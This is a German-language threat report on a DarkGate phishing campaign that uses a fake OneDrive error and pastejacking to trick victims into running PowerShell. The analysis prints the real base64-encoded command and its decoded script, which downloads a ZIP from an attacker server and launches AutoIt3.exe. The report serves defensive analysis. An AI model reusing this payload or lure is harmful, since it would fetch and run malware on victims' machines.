Monthly Threat Report Juni 2024: Neue Darkgate-Malware-Kampagnen im Umlauf!

Einführung

Die Kampagne

Vom 27. bis 28. Mai wurden insgesamt 105.640 Phishing-E-Mails von 17 Domains, die von Angreifern kontrolliert werden, versendet.

Die E-Mails enthielten kurze Sätze, die ein Gefühl der Dringlichkeit oder Autorität erzeugen sollten. Sie drängten den Empfänger dazu, den schädlichen Anhang zu öffnen, unter dem Vorwand, ein Dokument überprüfen oder fertigstellen zu müssen. Diese Sätze weisen auf klassische Phishing-Techniken hin, die häufig von Cyberkriminellen verwendet werden.

Im Anhang der Mails befand sich ein HTML-Dokument mit dem Namen „clarify_27-May_{6 zufällige Ziffern}.html“. Beim Öffnen zeigte die Seite einen gefälschten Microsoft OneDrive-Ordner mit einem Ladekreis an und versuchte das Opfer davon zu überzeugen, eine PDF-Datei namens „Reports.pdf“ zu öffnen.

Nach zwei Sekunden wurde das Lade-GIF ausgeblendet und eine Fehlermeldung angezeigt, die besagte, dass das Dokument aufgrund eines Verbindungsfehlers nicht geöffnet werden konnte. Um diesen Fehler zu beheben, soll laut der Meldung der DNS-Cache manuell aktualisiert werden.

Aufgrund eines Event-Listeners im Dokument wurde, sobald außerhalb der Fehlermeldung geklickt wurde, ein Pop-up-Fenster mit der Meldung angezeigt:

Verbindung zum Cloud-Dienst „OneDrive“ fehlgeschlagen.

Die Schaltfläche „Details“ leitete zur offiziellen Microsoft-Dokumentation zur Fehlerbehebung bei DNS-Servern weiter.

Wenn die Schaltfläche „Beheben“ angeklickt wurde, erschien eine neue Nachricht.

Diese Nachricht versucht das Opfer dazu zu verleiten, ein Windows-Terminal oder eine PowerShell-Konsole zu öffnen und den Inhalt der Zwischenablage einzufügen.

Im Hintergrund wird beim Klicken auf die Schaltfläche die JavaScript-Funktion JJ aufgerufen. Diese kopiert den zuvor mit der atob-Funktion decodierten Inhalt des Seitentitels mithilfe der mittlerweile veralteten Methode exeCommand(„copy“) in die Zwischenablage. Diese Technik wird als Pastejacking bezeichnet.

Wenn ein ahnungsloses Opfer den Anweisungen folgt, wird folgender Befehl ausgeführt:

ipconfig /flushdns
$base64 = "JGppID0gImh0dHBzOi8va29zdHVtbjEuaWxhYnNlcnZlci5jb20vMS56aXAiOw0KJG5lID0gI mM6XFxkb3dubG9hZHMiOw0KTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVB hdGggJG5lOw0KSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkamkgLU91dEZpbGUgJG5lXHBsLnppc DsNCkNsZWFyLUhvc3Q7DQpFeHBhbmQtQXJjaGl2ZSAkbmVccGwuemlwIC1Gb3JjZSAtZGVzdGl uYXRpb25wYXRoICRuZTsNClJlbW92ZS1JdGVtIC1QYXRoICRuZVxwbC56aXA7DQpTdGFydC1Qc m9jZXNzICRuZVxBdXRvaXQzLmV4ZSAkbmVcc2NyaXB0LmEzeA0KW1N5c3RlbS5SZWZsZWN0aW9 uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiK TsNCltTeXN0ZW0uV2luZG93cy5Gb3Jtcy5NZXNzYWdlQm94XTo6U2hvdygiVGhlIG9wZXJhdGl vbiBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5LCBwbGVhc2UgcmVsb2FkIHRoZSBwYWdlIiwgIlN5c 3RlbSIsIDAsIDY0KTsNCkNsZWFyLUhvc3Q7DQo=";
iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Str ing($base64)));
Set-Clipboard -Value " ";
exit;

Der erste Befehl, ipconfig /flushdns, löscht den DNS-Resolver-Cache des Computers. Dadurch werden alle gespeicherten DNS-Einträge verworfen und neue vom DNS-Server abgerufen. Dieser Befehl an sich ist nicht gefährlich, sondern dient lediglich dazu, das Opfer glauben zu lassen, dass das Problem mit dem gefälschten DNS behoben wird.

Als Nächstes wird ein Base64-String decodiert und mithilfe des PowerShell-Cmdlets „iex“ ausgeführt.

Schließlich wird die Zwischenablage „bereinigt“, indem ihr Wert auf vier Leerzeichen gesetzt wird.

Nach der Dekodierung der Variable „$base64“ kommt ein bösartiges PowerShell-Skript zum Vorschein:

$ji = "hxxps://kostumn1.ilabserver.com/1.zip";
$ne = "c:\\downloads";
New-Item -ItemType Directory -Force -Path $ne;
Invoke-WebRequest -Uri $ji -OutFile $ne\pl.zip;
Clear-Host;
Expand-Archive $ne\pl.zip -Force -destinationpath $ne;
Remove-Item -Path $ne\pl.zip;
Start-Process $ne\Autoit3.exe $ne\script.a3x
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms");
[System.Windows.Forms.MessageBox]::Show("The operation completed
successfully, please reload the page", "System", 0, 64);
Clear-Host;

Wird dieses Skript ausgeführt, lädt es ein ZIP-Dokument namens „1.zip“ von einem externen Server herunter, speichert es im Ordner „c:“, entpackt den Inhalt und löscht anschließend das zuvor heruntergeladene ZIP. Um die Infektion durchzuführen, startet es dann „AutoIt3.exe“ mit „script.a3x“ als Argument.

Abschließend wird in einer Meldungsbox die Nachricht „Der Vorgang wurde erfolgreich abgeschlossen. Bitte laden Sie die Seite neu“ angezeigt.

AutoIt3.exe ist die ausführbare Datei für die AutoIt-Skriptsprache. Diese Sprache ist für die Automatisierung der Windows-Benutzeroberfläche (GUI) und allgemeine Skripterstellung gedacht. Wie bereits dokumentiert, verwendet DarkGate häufig AutoIt-Skripte als Teil seiner ersten Infizierungsroutine.

Lesen Sie hier die vollständigen technischen Details.

Takedown des 911 S5 Proxy-Botnets

Getarnte Helfer: Stack-Overflow-Nutzer lotsen User zu Malware